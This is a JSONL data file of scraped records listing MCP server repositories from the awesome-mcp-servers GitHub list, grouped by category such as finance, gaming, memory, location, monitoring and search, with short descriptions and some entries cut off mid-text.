{"id": "gh_82d48558abe4", "question": "How to: 💰 <a name=\"finance--fintech\"></a>Finance & Fintech", "question_body": "About punkpeye/awesome-mcp-servers", "answer": "- [Regenerating-World/pix-mcp](https://github.com/Regenerating-World/pix-mcp) 📇 ☁️ - Generate Pix QR codes and copy-paste strings with fallback across multiple providers (Efí, Cielo, etc.) for Brazilian instant payments.\n- [aaronjmars/web3-research-mcp](https://github.com/aaronjmars/web3-research-mcp) 📇 ☁️ - Deep Research for crypto - free & fully local\n- [ahmetsbilgin/finbrain-mcp](https://github.com/ahmetsbilgin/finbrain-mcp) 🎖️ 🐍 ☁️ 🏠 - Access institutional-grade alternative financial data directly in your LLM workflows.\n- [ahnlabio/bicscan-mcp](https://github.com/ahnlabio/bicscan-mcp) 🎖️ 🐍 ☁️ - Risk score / asset holdings of EVM blockchain address (EOA, CA, ENS) and even domain names.\n- [getAlby/mcp](https://github.com/getAlby/mcp) 🎖️ 📇 ☁️ 🏠 - Connect any bitcoin lightning wallet to your agent to send and receive instant payments globally.\n- [alchemy/alchemy-mcp-server](https://github.com/alchemyplatform/alchemy-mcp-server) 🎖️ 📇 ☁️ - Allow AI agents to interact with Alchemy's blockchain APIs.\n- [anjor/coinmarket-mcp-server](https://github.com/anjor/coinmarket-mcp-server) 🐍 ☁️ - Coinmarket API integration to fetch cryptocurrency listings and quotes\n- [araa47/jupiter-mcp](https://github.com/araa47/jupiter-mcp) 🐍 ☁️ - Jupiter API Access (allow AI to Trade Tokens on Solana + Access Balances + Search Tokens + Create Limit Orders )\n- [ariadng/metatrader-mcp-server](https://github.com/ariadng/metatrader-mcp-server) 🐍 🏠 🪟 - Enable AI LLMs to execute trades using MetaTrader 5 platform\n- [armorwallet/armor-crypto-mcp](https://github.com/armorwallet/armor-crypto-mcp) 🐍 ☁️ - MCP to interface with multiple blockchains, staking, DeFi, swap, bridging, wallet management, DCA, Limit Orders, Coin Lookup, Tracking and more.\n- [bankless/onchain-mcp](https://github.com/Bankless/onchain-mcp/) 📇 ☁️ - Bankless Onchain API to interact with smart contracts, query transaction and token information\n- [base/base-mcp](https://github.com/base/base-mcp) 🎖️ 📇 ☁️ - Base Network integration for onchain tools, allowing interaction with Base Network and Coinbase API for wallet management, fund transfers, smart contracts, and DeFi operations\n- [berlinbra/alpha-vantage-mcp](https://github.com/berlinbra/alpha-vantage-mcp) 🐍 ☁️ - Alpha Vantage API integration to fetch both stock and crypto information\n- [bitteprotocol/mcp](https://github.com/BitteProtocol/mcp) 📇 - Bitte Protocol integration to run AI Agents on several blockchains.\n- [carsol/monarch-mcp-server](https://github.com/carsol/monarch-mcp-server) 🐍 ☁️ - MCP server providing read-only access to Monarch Money financial data, enabling AI assistants to analyze transactions, budgets, accounts, and cashflow data with MFA support.\n- [chargebee/mcp](https://github.com/chargebee/agentkit/tree/main/modelcontextprotocol) 🎖️ 📇 ☁️ - MCP Server that connects AI agents to [Chargebee platform](https://www.chargebee.com/).\n- [codex-data/codex-mcp](https://github.com/Codex-Data/codex-mcp) 🎖️ 📇 ☁️ - [Codex API](https://www.codex.io) integration for real-time enriched blockchain and market data on 60+ networks\n- [coinpaprika/dexpaprika-mcp](https://github.com/coinpaprika/dexpaprika-mcp) 🎖️ 📇 ☁️ 🍎 🪟 🐧 - Coinpaprika's DexPaprika MCP server exposes high-performance [DexPaprika API](https://docs.dexpaprika.com) covering 20+ chains and 5M+ tokens with real time pricing, liquidity pool data & historical OHLCV data, providing AI agents standardized access to comprehensive market data through Model Context Protocol.\n- [doggybee/mcp-server-ccxt](https://github.com/doggybee/mcp-server-ccxt) 📇 ☁️ - An MCP server for accessing real-time crypto market data and trading via 20+ exchanges using the CCXT library. Supports spot, futures, OHLCV, balances, orders, and more.\n- [ferdousbhai/investor-agent](https://github.com/ferdousbhai/investor-agent) 🐍 ☁️ - Yahoo Finance integration to fetch stock market data including options recommendations\n- [ferdousbhai/tasty-agent](https://github.com/ferdousbhai/tasty-agent) 🐍 ☁️ - Tastyworks API integration to handle trading activities on Tastytrade\n- [ferdousbhai/wsb-analyst-mcp](https://github.com/ferdousbhai/wsb-analyst-mcp) 🐍 ☁️ - Reddit integration to analyze content on WallStreetBets community\n- [finmap-org/mcp-server](https://github.com/finmap-org/mcp-server) - [finmap.org](https://finmap.org/) MCP server provides comprehensive historical data from the US, UK, Russian and Turkish stock exchanges. Access sectors, tickers, company profiles, market cap, volume, value, and trade counts, as well as treemap and histogram visualizations.\n- [getalby/nwc-mcp-server](https://github.com/getalby/nwc-mcp-server) 📇 🏠 - Bitcoin Lightning wallet integration powered by Nostr Wallet Connect\n- [glaksmono/finbud-data-mcp](https://github.com/glaksmono/finbud-data-mcp/tree/main/packages/mcp-server) 📇 ☁️ 🏠 - Access comprehensive, real-time financial data (stocks, options, crypto, forex) via developer-friendly, AI-native APIs offering unbeatable value.\n- [heurist-network/heurist-mesh-mcp-server](https", "tags": ["punkpeye"], "source": "github_gists", "category": "punkpeye", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 79029, "answer_score": 10, "has_code": false, "url": "https://github.com/punkpeye/awesome-mcp-servers", "collected_at": "2026-01-16T23:27:35.312153"}
{"id": "gh_4c0f3dd0b1d6", "question": "How to: 🎮 <a name=\"gaming\"></a>Gaming", "question_body": "About punkpeye/awesome-mcp-servers", "answer": "Integration with gaming related data, game engines, and services\n\n- [CoderGamester/mcp-unity](https://github.com/CoderGamester/mcp-unity) #️⃣ 🏠 - MCP Server for Unity3d Game Engine integration for game development\n- [Coding-Solo/godot-mcp](https://github.com/Coding-Solo/godot-mcp) 📇 🏠 - A MCP server for interacting with the Godot game engine, providing tools for editing, running, debugging, and managing scenes in Godot projects.\n- [ddsky/gamebrain-api-clients](https://github.com/ddsky/gamebrain-api-clients) ☁️ - Search and discover hundreds of thousands of video games on any platform through the [GameBrain API](https://gamebrain.co/api).\n- [hkaanengin/opendota-mcp-server](https://github.com/hkaanengin/opendota-mcp-server) 🐍 🏠 ☁️ - MCP server providing AI assistants with access to Dota 2 statistics via OpenDota API. 20+ tools for player stats, hero data, and match    analysis with natural language support.\n- [IvanMurzak/Unity-MCP](https://github.com/IvanMurzak/Unity-MCP) #️⃣ 🏠 🍎 🪟 🐧 - MCP Server for Unity Editor and for a game made with Unity\n- [jiayao/mcp-chess](https://github.com/jiayao/mcp-chess) 🐍 🏠 - A MCP server playing chess against LLMs.\n- [kkjdaniel/bgg-mcp](https://github.com/kkjdaniel/bgg-mcp) 🏎️ ☁️ - An MCP server that enables interaction with board game related data via the BoardGameGeek API (XML API2).\n- [opgginc/opgg-mcp](https://github.com/opgginc/opgg-mcp) 📇 ☁️ - Access real-time gaming data across popular titles like League of Legends, TFT, and Valorant, offering champion analytics, esports schedules, meta compositions, and character statistics.\n- [pab1ito/chess-mcp](https://github.com/pab1it0/chess-mcp) 🐍 ☁️ - Access Chess.com player data, game records, and other public information through standardized MCP interfaces, allowing AI assistants to search and analyze chess information.\n- [rishijatia/fantasy-pl-mcp](https://github.com/rishijatia/fantasy-pl-mcp/) 🐍 ☁️ - An MCP server for real-time Fantasy Premier League data and analysis tools.\n- [sonirico/mpc-stockfish](https://github.com/sonirico/mcp-stockfish) - 🏎️ 🏠 🍎 🪟 🐧️ MCP server connecting AI systems to Stockfish chess engine.\n- [stefan-xyz/mcp-server-runescape](https://github.com/stefan-xyz/mcp-server-runescape) 📇 - An MCP server with tools for interacting with RuneScape (RS) and Old School RuneScape (OSRS) data, including item prices, player hiscores, and more.\n- [tomholford/mcp-tic-tac-toe](https://github.com/tomholford/mcp-tic-tac-toe) 🏎️ 🏠 - Play Tic Tac Toe against an AI opponent using this MCP server.", "tags": ["punkpeye"], "source": "github_gists", "category": "punkpeye", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 79029, "answer_score": 10, "has_code": true, "url": "https://github.com/punkpeye/awesome-mcp-servers", "collected_at": "2026-01-16T23:27:35.312167"}
{"id": "gh_e697489a8005", "question": "How to: 🧠 <a name=\"knowledge--memory\"></a>Knowledge & Memory", "question_body": "About punkpeye/awesome-mcp-servers", "answer": "Persistent memory storage using knowledge graph structures. Enables AI models to maintain and query structured information across sessions.\n\n- [0xshellming/mcp-summarizer](https://github.com/0xshellming/mcp-summarizer) 📕 ☁️ - AI Summarization MCP Server, Support for multiple content types: Plain text, Web pages, PDF documents, EPUB books, HTML content\n- [apecloud/ApeRAG](https://github.com/apecloud/ApeRAG) 🐍 ☁️ 🏠 - Production-ready RAG platform combining Graph RAG, vector search, and full-text search. Best choice for building your own Knowledge Graph and for Context Engineering\n- [bh-rat/context-awesome](https://github.com/bh-rat/context-awesome) 📇 ☁️ 🏠 - MCP server for querying 8,500+ curated awesome lists (1M+ items) and fetching the best resources for your agent.\n- [bitbonsai/mcp-obsidian](https://github.com/bitbonsai/mcp-obsidian) 📇 🏠 🍎 🪟 🐧 - Universal AI bridge for Obsidian vaults using MCP. Provides safe read/write access to notes with 11 comprehensive methods for vault operations including search, batch operations, tag management, and frontmatter handling. Works with Claude, ChatGPT, and any MCP-compatible AI assistant.\n- [bluzername/lennys-quotes](https://github.com/bluzername/lennys-quotes) 📇 🏠 - Query 269 episodes of Lenny's Podcast for product management wisdom. Search 51,000+ transcript segments with YouTube timestamps. Perfect for PRDs, strategy, and PM career advice.\n- [chatmcp/mcp-server-chatsum](https://github.com/chatmcp/mcp-server-chatsum) - Query and summarize your chat messages with AI prompts.\n- [contextstream/mcp-server](https://www.npmjs.com/package/@contextstream/mcp-server) 📇 ☁️ 🍎 🪟 🐧 - Universal persistent memory for AI coding tools. Semantic code search, knowledge graphs, impact analysis, decision tracking, and 60+ MCP tools. Works across Cursor, Claude Code, Windsurf, and any MCP client.\n- [cameronrye/openzim-mcp](https://github.com/cameronrye/openzim-mcp) 🐍 🏠 - Modern, secure MCP server for accessing ZIM format knowledge bases offline. Enables AI models to search and navigate Wikipedia, educational content, and other compressed knowledge archives with smart retrieval, caching, and comprehensive API.\n- [CheMiguel23/MemoryMesh](https://github.com/CheMiguel23/MemoryMesh) 📇 🏠 - Enhanced graph-based memory with a focus on AI role-play and story generation\n- [entanglr/zettelkasten-mcp](https://github.com/entanglr/zettelkasten-mcp) 🐍 🏠 - A Model Context Protocol (MCP) server that implements the Zettelkasten knowledge management methodology, allowing you to create, link, and search atomic notes through Claude and other MCP-compatible clients.\n- [GistPad-MCP](https://github.com/lostintangent/gistpad-mcp) 📇 🏠 - Use GitHub Gists to manage and access your personal knowledge, daily notes, and reusable prompts. This acts as a companion to https://gistpad.dev and the [GistPad VS Code extension](https://aka.ms/gistpad).\n- [graphlit-mcp-server](https://github.com/graphlit/graphlit-mcp-server) 📇 ☁️ - Ingest anything from Slack, Discord, websites, Google Drive, Linear or GitHub into a Graphlit project - and then search and retrieve relevant knowledge within an MCP client like Cursor, Windsurf or Cline.\n- [hannesrudolph/mcp-ragdocs](https://github.com/hannesrudolph/mcp-ragdocs) 🐍 🏠 - An MCP server implementation that provides tools for retrieving and processing documentation through vector search, enabling AI assistants to augment their responses with relevant documentation context\n- [jinzcdev/markmap-mcp-server](https://github.com/jinzcdev/markmap-mcp-server) 📇 🏠 - An MCP server built on [markmap](https://github.com/markmap/markmap) that converts **Markdown** to interactive **mind maps**. Supports multi-format exports (PNG/JPG/SVG), live browser preview, one-click Markdown copy, and dynamic visualization features.\n- [kaliaboi/mcp-zotero](https://github.com/kaliaboi/mcp-zotero) 📇 ☁️ - A connector for LLMs to work with collections and sources on your Zotero Cloud\n- [pallaprolus/mendeley-mcp](https://github.com/pallaprolus/mendeley-mcp) 🐍 ☁️ - MCP server for Mendeley reference manager. Search your library, browse folders, get document metadata, search the global catalog, and add papers to your collection.\n- [louis030195/easy-obsidian-mcp](https://github.com/louis030195/easy-obsidian-mcp) 📇 🏠 🍎 🪟 🐧 - Interact with Obsidian vaults for knowledge management. Create, read, update, and search notes. Works with local Obsidian vaults using filesystem access.\n- [mem0ai/mem0-mcp](https://github.com/mem0ai/mem0-mcp) 🐍 🏠 - A Model Context Protocol server for Mem0 that helps manage coding preferences and patterns, providing tools for storing, retrieving and semantically handling code implementations, best practices and technical documentation in IDEs like Cursor and Windsurf\n- [mercurialsolo/counsel-mcp](https://github.com/mercurialsolo/counsel-mcp) 📇 ☁️ 🏠 🍎 🪟 🐧 - Connect AI agents to the Counsel API for strategic reasoning, multi-perspective debate analysis, and interactive advisory sessions.\n- [modelcontextpro", "tags": ["punkpeye"], "source": "github_gists", "category": "punkpeye", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 79029, "answer_score": 10, "has_code": false, "url": "https://github.com/punkpeye/awesome-mcp-servers", "collected_at": "2026-01-16T23:27:35.312196"}
{"id": "gh_76946a9ad9b6", "question": "How to: ⚖️ <a name=\"legal\"></a>Legal", "question_body": "About punkpeye/awesome-mcp-servers", "answer": "Access to legal information, legislation, and legal databases. Enables AI models to search and analyze legal documents and regulatory information.\n\n- [JamesANZ/us-legal-mcp](https://github.com/JamesANZ/us-legal-mcp) 📇 ☁️ - An MCP server that provides comprehensive US legislation.", "tags": ["punkpeye"], "source": "github_gists", "category": "punkpeye", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 79029, "answer_score": 10, "has_code": false, "url": "https://github.com/punkpeye/awesome-mcp-servers", "collected_at": "2026-01-16T23:27:35.312203"}
{"id": "gh_2fc644797b41", "question": "How to: 🗺️ <a name=\"location-services\"></a>Location Services", "question_body": "About punkpeye/awesome-mcp-servers", "answer": "Location-based services and mapping tools. Enables AI models to work with geographic data, weather information, and location-based analytics.\n\n- [briandconnelly/mcp-server-ipinfo](https://github.com/briandconnelly/mcp-server-ipinfo) 🐍 ☁️  - IP address geolocation and network information using IPInfo API\n- [cqtrinv/trinvmcp](https://github.com/cqtrinv/trinvmcp) 📇 ☁️ - Explore French communes and cadastral parcels based on name and surface\n- [devilcoder01/weather-mcp-server](https://github.com/devilcoder01/weather-mcp-server) 🐍 ☁️ - Access real-time weather data for any location using the WeatherAPI.com API, providing detailed forecasts and current conditions.\n- [ip2location/mcp-ip2location-io](https://github.com/ip2location/mcp-ip2location-io) 🐍 ☁️  - Official IP2Location.io MCP server to obtain the geolocation, proxy and network information of an IP address utilizing IP2Location.io API.\n- [isdaniel/mcp_weather_server](https://github.com/isdaniel/mcp_weather_server) 🐍 ☁️ - Get weather information from https://api.open-meteo.com API.\n- [ipfind/ipfind-mcp-server](https://github.com/ipfind/ipfind-mcp-server) 🐍 ☁️ - IP Address location service using the [IP Find](https://ipfind.com) API\n- [ipfred/aiwen-mcp-server-geoip](https://github.com/ipfred/aiwen-mcp-server-geoip) 🐍 📇 ☁️ – MCP Server for the Aiwen IP Location, Get user network IP location, get IP details (country, province, city, lat, lon, ISP, owner, etc.)\n- [iplocate/mcp-server-iplocate](https://github.com/iplocate/mcp-server-iplocate) 🎖️ 📇 🏠  - Look up IP address geolocation, network information, detect proxies and VPNs, and find abuse contact details using IPLocate.io\n- [jagan-shanmugam/open-streetmap-mcp](https://github.com/jagan-shanmugam/open-streetmap-mcp) 🐍 🏠 - An OpenStreetMap MCP server with location-based services and geospatial data.\n- [kukapay/nearby-search-mcp](https://github.com/kukapay/nearby-search-mcp) 🐍 ☁️ - An MCP server for nearby place searches with IP-based location detection.\n- [mahdin75/geoserver-mcp](https://github.com/mahdin75/geoserver-mcp) 🏠 – A Model Context Protocol (MCP) server implementation that connects LLMs to the GeoServer REST API, enabling AI assistants to interact with geospatial data and services.\n- [mahdin75/gis-mcp](https://github.com/mahdin75/gis-mcp) 🏠 – A Model Context Protocol (MCP) server implementation that connects Large Language Models (LLMs) to GIS operations using GIS libraries, enabling AI assistants to perform accurate geospatial operations and transformations.\n- [modelcontextprotocol/server-google-maps](https://github.com/modelcontextprotocol/servers-archived/tree/main/src/google-maps) 📇 ☁️ - Google Maps integration for location services, routing, and place details\n- [QGIS MCP](https://github.com/jjsantos01/qgis_mcp) - connects QGIS Desktop to Claude AI through the MCP. This integration enables prompt-assisted project creation, layer loading, code execution, and more.\n- [rossshannon/Weekly-Weather-mcp](https://github.com/rossshannon/weekly-weather-mcp.git) 🐍 ☁️ - Weekly Weather MCP server which returns 7 full days of detailed weather forecasts anywhere in the world.\n- [SaintDoresh/Weather-MCP-ClaudeDesktop](https://github.com/SaintDoresh/Weather-MCP-ClaudeDesktop.git) 🐍 ☁️ - An MCP tool that provides real-time weather data, forecasts, and historical weather information using the OpenWeatherMap API.\n- [SecretiveShell/MCP-timeserver](https://github.com/SecretiveShell/MCP-timeserver) 🐍 🏠 - Access the time in any timezone and get the current local time\n- [stadiamaps/stadiamaps-mcp-server-ts](https://github.com/stadiamaps/stadiamaps-mcp-server-ts) 📇 ☁️ - A MCP server for Stadia Maps' Location APIs - Lookup addresses, places with geocoding, find time zones, create routes and static maps\n- [TimLukaHorstmann/mcp-weather](https://github.com/TimLukaHorstmann/mcp-weather) 📇 ☁️  - Accurate weather forecasts via the AccuWeather API (free tier available).\n- [trackmage/trackmage-mcp-server](https://github.com/trackmage/trackmage-mcp-server) 📇 - Shipment tracking api and logistics management capabilities through the [TrackMage API] (https://trackmage.com/)\n- [webcoderz/MCP-Geo](https://github.com/webcoderz/MCP-Geo) 🐍 🏠 - Geocoding MCP server for nominatim, ArcGIS, Bing\n- [matbel91765/gis-mcp-server](https://github.com/matbel91765/gis-mcp-server) 🐍 🏠 🍎 🪟 🐧 - Geospatial tools for AI agents: geocoding, routing, elevation, spatial analysis, and file I/O (Shapefile, GeoJSON, GeoPackage)", "tags": ["punkpeye"], "source": "github_gists", "category": "punkpeye", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 79029, "answer_score": 10, "has_code": false, "url": "https://github.com/punkpeye/awesome-mcp-servers", "collected_at": "2026-01-16T23:27:35.312222"}
{"id": "gh_1d75aa5b3bea", "question": "How to: 🎯 <a name=\"marketing\"></a>Marketing", "question_body": "About punkpeye/awesome-mcp-servers", "answer": "Tools for creating and editing marketing content, working with web meta data, product positioning, and editing guides.\n\n- [AdsMCP/tiktok-ads-mcp-server](https://github.com/AdsMCP/tiktok-ads-mcp-server) 🐍 ☁️ - A Model Context Protocol server for TikTok Ads API integration, enabling AI assistants to manage campaigns, analyze performance metrics, handle audiences and creatives with OAuth authentication flow.\n- [louis030195/apollo-io-mcp](https://github.com/louis030195/apollo-io-mcp) 📇 ☁️ 🍎 🪟 🐧 - B2B sales intelligence and prospecting with Apollo.io. Search for prospects, enrich contacts with emails and phone numbers, discover companies by industry and size, and access Apollo's database of 275M+ contacts.\n- [gomarble-ai/facebook-ads-mcp-server](https://github.com/gomarble-ai/facebook-ads-mcp-server) 🐍 ☁️ - MCP server acting as an interface to the Facebook Ads, enabling programmatic access to Facebook Ads data and management features.\n- [gomarble-ai/google-ads-mcp-server](https://github.com/gomarble-ai/google-ads-mcp-server) 🐍 ☁️ - MCP server acting as an interface to the Google Ads, enabling programmatic access to Google Ads data and management features.\n- [marketplaceadpros/amazon-ads-mcp-server](https://github.com/MarketplaceAdPros/amazon-ads-mcp-server) 📇 ☁️  - Enables tools to interact with Amazon Advertising, analyzing campaign metrics and configurations.\n- [open-strategy-partners/osp_marketing_tools](https://github.com/open-strategy-partners/osp_marketing_tools) 🐍 🏠 - A suite of marketing tools from Open Strategy Partners including writing style, editing codes, and product marketing value map creation.\n- [pipeboard-co/meta-ads-mcp](https://github.com/pipeboard-co/meta-ads-mcp) 🐍 ☁️ 🏠 - Meta Ads automation that just works. Trusted by 10,000+ businesses to analyze performance, test creatives, optimize spend, and scale results — simply and reliably.\n- [stape-io/stape-mcp-server](https://github.com/stape-io/stape-mcp-server) 📇 ☁️ – This project implements an MCP (Model Context Protocol) server for the Stape platform. It allows interaction with the Stape API using AI assistants like Claude or AI-powered IDEs like Cursor.\n- [stape-io/google-tag-manager-mcp-server](https://github.com/stape-io/google-tag-manager-mcp-server) 📇 ☁️ – This server supports remote MCP connections, includes built-in Google OAuth, and provide an interface to the Google Tag Manager API.\n- [tomba-io/tomba-mcp-server](https://github.com/tomba-io/tomba-mcp-server) 📇 ☁️ - Email discovery, verification, and enrichment tools. Find email addresses, verify deliverability, enrich contact data, discover authors and LinkedIn profiles, validate phone numbers, and analyze technology stacks.", "tags": ["punkpeye"], "source": "github_gists", "category": "punkpeye", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 79029, "answer_score": 10, "has_code": false, "url": "https://github.com/punkpeye/awesome-mcp-servers", "collected_at": "2026-01-16T23:27:35.312234"}
{"id": "gh_2777fdea9d56", "question": "How to: 📊 <a name=\"monitoring\"></a>Monitoring", "question_body": "About punkpeye/awesome-mcp-servers", "answer": "Access and analyze application monitoring data. Enables AI models to review error reports and performance metrics.\n\n- [edgedelta/edgedelta-mcp-server](https://github.com/edgedelta/edgedelta-mcp-server) 🎖️ 🏎️ ☁️ – Interact with Edge Delta anomalies, query logs / patterns / events, and pinpoint root causes and optimize your pipelines.\n- [grafana/mcp-grafana](https://github.com/grafana/mcp-grafana) 🎖️ 🐍 🏠 ☁️ - Search dashboards, investigate incidents and query datasources in your Grafana instance\n- [hyperb1iss/lucidity-mcp](https://github.com/hyperb1iss/lucidity-mcp) 🐍 🏠 - Enhance AI-generated code quality through intelligent, prompt-based analysis across 10 critical dimensions from complexity to security vulnerabilities\n- [inventer-dev/mcp-internet-speed-test](https://github.com/inventer-dev/mcp-internet-speed-test) 🐍 ☁️ - Internet speed testing with network performance metrics including download/upload speed, latency, jitter analysis, and CDN server detection with geographic mapping\n- [speedofme-dev/speedofme-mcp](https://www.npmjs.com/package/@speedofme/mcp) 📇 ☁️ 🍎 🪟 🐧 - Official SpeedOf.Me server for accurate internet speed tests via 129 global Fastly edge servers with analytics dashboard and local history\n- [last9/last9-mcp-server](https://github.com/last9/last9-mcp-server) - Seamlessly bring real-time production context—logs, metrics, and traces—into your local environment to auto-fix code faster\n- [metoro-io/metoro-mcp-server](https://github.com/metoro-io/metoro-mcp-server) 🎖️ 🏎️ ☁️ - Query and interact with kubernetes environments monitored by Metoro\n- [MindscapeHQ/server-raygun](https://github.com/MindscapeHQ/mcp-server-raygun) 📇 ☁️ - Raygun API V3 integration for crash reporting and real user monitoring\n- [getsentry/sentry-mcp](https://github.com/getsentry/sentry-mcp) 🐍 ☁️ - Sentry.io integration for error tracking and performance monitoring\n- [mpeirone/zabbix-mcp-server](https://github.com/mpeirone/zabbix-mcp-server) 🐍 ☁️ 🐧 🪟 🍎 - Zabbix integration for hosts, items, triggers, templates, problems, data and more.\n- [netdata/netdata#Netdata](https://github.com/netdata/netdata/blob/master/src/web/mcp/README.md) 🎖️ 🏠 ☁️ 📟 🍎 🪟 🐧 - Discovery, exploration, reporting and root cause analysis using all observability data, including metrics, logs, systems, containers, processes, and network connections\n- [pydantic/logfire-mcp](https://github.com/pydantic/logfire-mcp) 🎖️ 🐍 ☁️ - Provides access to OpenTelemetry traces and metrics through Logfire\n- [seekrays/mcp-monitor](https://github.com/seekrays/mcp-monitor) 🏎️ 🏠 - A system monitoring tool that exposes system metrics via the Model Context Protocol (MCP). This tool allows LLMs to retrieve real-time system information through an MCP-compatible interface.（support CPU、Memory、Disk、Network、Host、Process）\n- [tumf/grafana-loki-mcp](https://github.com/tumf/grafana-loki-mcp) 🐍 🏠 - An MCP server that allows querying Loki logs through the Grafana API.\n- [VictoriaMetrics-Community/mcp-victoriametrics](https://github.com/VictoriaMetrics-Community/mcp-victoriametrics) 🎖️ 🏎️ 🏠 - Provides comprehensive integration with your [VictoriaMetrics instance APIs](https://docs.victoriametrics.com/victoriametrics/url-examples/) and [documentation](https://docs.victoriametrics.com/) for monitoring, observability, and debugging tasks related to your VictoriaMetrics instances\n- [imprvhub/mcp-status-observer](https://github.com/imprvhub/mcp-status-observer) 📇 ☁️ -  Model Context Protocol server for monitoring Operational Status of major digital platforms in Claude Desktop.\n- [inspektor-gadget/ig-mcp-server](https://github.com/inspektor-gadget/ig-mcp-server) 🏎️ ☁️ 🏠 🐧 🪟 🍎 - Debug your Container and Kubernetes workloads with an AI interface powered by eBPF.\n- [yshngg/pmcp](https://github.com/yshngg/pmcp) 🏎️ ☁️ 🏠 🍎 🪟 🐧 - A Prometheus Model Context Protocol Server.", "tags": ["punkpeye"], "source": "github_gists", "category": "punkpeye", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 79029, "answer_score": 10, "has_code": false, "url": "https://github.com/punkpeye/awesome-mcp-servers", "collected_at": "2026-01-16T23:27:35.312248"}
{"id": "gh_1bc1400e651a", "question": "How to: 🎥 <a name=\"multimedia-process\"></a>Multimedia Process", "question_body": "About punkpeye/awesome-mcp-servers", "answer": "Provides the ability to handle multimedia, such as audio and video editing, playback, format conversion, also includes video filters, enhancements, and so on\n\n- [ananddtyagi/gif-creator-mcp](https://github.com/ananddtyagi/gif-creator-mcp/tree/main) 📇 🏠 - A MCP server for creating GIFs from your videos.\n- [bogdan01m/zapcap-mcp-server](https://github.com/bogdan01m/zapcap-mcp-server) 🐍 ☁️ - MCP server for ZapCap API providing video caption and B-roll generation via natural language\n- [strato-space/media-gen-mcp](https://github.com/strato-space/media-gen-mcp) 📇 ☁️ 🏠 - TypeScript MCP server for OpenAI Images/Videos and Google GenAI (Veo) media generation, editing, and asset downloads.\n- [stass/exif-mcp](https://github.com/stass/exif-mcp) 📇 🏠 🐧 🍎 🪟 - A MCP server that allows one to examine image metadata like EXIF, XMP, JFIF and GPS.  This provides foundation for LLM-powered search and analysis of photo librares and image collections.\n- [Tommertom/sonos-ts-mcp](https://github.com/Tommertom/sonos-ts-mcp) 📇 🏠 🍎 🪟 🐧 - Comprehensive Sonos audio system control through pure TypeScript implementation. Features complete device discovery, multi-room playback management, queue control, music library browsing, alarm management, real-time event subscriptions, and audio EQ settings. Includes 50+ tools for seamless smart home audio automation via UPnP/SOAP protocols.\n- [sunriseapps/imagesorcery-mcp](https://github.com/sunriseapps/imagesorcery-mcp) 🐍 🏠 🐧 🍎 🪟 - ComputerVision-based 🪄 sorcery of image recognition and editing tools for AI assistants.\n- [video-creator/ffmpeg-mcp](https://github.com/video-creator/ffmpeg-mcp.git) 🎥 🔊 - Using ffmpeg command line to achieve an mcp server, can be very convenient, through the dialogue to achieve the local video search, tailoring, stitching, playback and other functions", "tags": ["punkpeye"], "source": "github_gists", "category": "punkpeye", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 79029, "answer_score": 10, "has_code": false, "url": "https://github.com/punkpeye/awesome-mcp-servers", "collected_at": "2026-01-16T23:27:35.312258"}
{"id": "gh_bf69b558a025", "question": "How to: 🔬 <a name=\"research\"></a>Research", "question_body": "About punkpeye/awesome-mcp-servers", "answer": "Tools for conducting research, surveys, interviews, and data collection.\n\n- [Pantheon-Security/notebooklm-mcp-secure](https://github.com/Pantheon-Security/notebooklm-mcp-secure) 📇 🏠 🍎 🪟 🐧 - Query Google NotebookLM from Claude/AI agents with 14 security hardening layers. Session-based conversations, notebook library management, and source-grounded research responses.\n- [pminervini/deep-research-mcp](https://github.com/pminervini/deep-research-mcp) 🐍 ☁️ 🏠 - Deep research MCP server for OpenAI Responses API or Open Deep Research (smolagents), with web search and code interpreter support.\n- [thinkchainai/agentinterviews_mcp](https://github.com/thinkchainai/agentinterviews_mcp) - Conduct AI-powered qualitative research interviews and surveys at scale with [Agent Interviews](https://agentinterviews.com). Create interviewers, manage research projects, recruit participants, and analyze interview data through MCP.", "tags": ["punkpeye"], "source": "github_gists", "category": "punkpeye", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 79029, "answer_score": 10, "has_code": false, "url": "https://github.com/punkpeye/awesome-mcp-servers", "collected_at": "2026-01-16T23:27:35.312265"}
{"id": "gh_a78d9b8b4525", "question": "How to: 🔎 <a name=\"RAG\"></a>end to end RAG platforms", "question_body": "About punkpeye/awesome-mcp-servers", "answer": "- [vectara/vectara-mcp](https://github.com/vectara/vectara-mcp) 🐍 🏠 ☁️ - An MCP server for accessing Vectara's trusted RAG-as-a-service platform.\n- [poll-the-people/customgpt-mcp](https://github.com/Poll-The-People/customgpt-mcp) 🐍 🏠 ☁️ - An MCP server for accessing all of CustomGPT.ai's anti-hallucination RAG-as-a-service API endpoints.", "tags": ["punkpeye"], "source": "github_gists", "category": "punkpeye", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 79029, "answer_score": 10, "has_code": false, "url": "https://github.com/punkpeye/awesome-mcp-servers", "collected_at": "2026-01-16T23:27:35.312271"}
{"id": "gh_50e945631445", "question": "How to: 🔎 <a name=\"search\"></a>Search & Data Extraction", "question_body": "About punkpeye/awesome-mcp-servers", "answer": "- [0xdaef0f/job-searchoor](https://github.com/0xDAEF0F/job-searchoor) 📇 🏠 - An MCP server for searching job listings with filters for date, keywords, remote work options, and more.\n- [Aas-ee/open-webSearch](https://github.com/Aas-ee/open-webSearch) 🐍 📇 ☁️ - Web search using free multi-engine search (NO API KEYS REQUIRED) — Supports Bing, Baidu, DuckDuckGo, Brave, Exa, and CSDN.\n- [ac3xx/mcp-servers-kagi](https://github.com/ac3xx/mcp-servers-kagi) 📇 ☁️ - Kagi search API integration\n- [adawalli/nexus](https://github.com/adawalli/nexus) 📇 ☁️ - AI-powered web search server using Perplexity Sonar models with source citations. Zero-install setup via NPX.\n- [ananddtyagi/webpage-screenshot-mcp](https://github.com/ananddtyagi/webpage-screenshot-mcp) 📇 🏠 - A MCP server for taking screenshots of webpages to use as feedback during UI developement.\n- [urlbox/urlbox-mcp-server](https://github.com/urlbox/urlbox-mcp-server/) - 📇 🏠 A reliable MCP server for generating and managing screenshots, PDFs, and videos, performing AI-powered screenshot analysis, and extracting web content (Markdown, metadata, and HTML) via the [Urlbox](https://urlbox.com) API.\n- 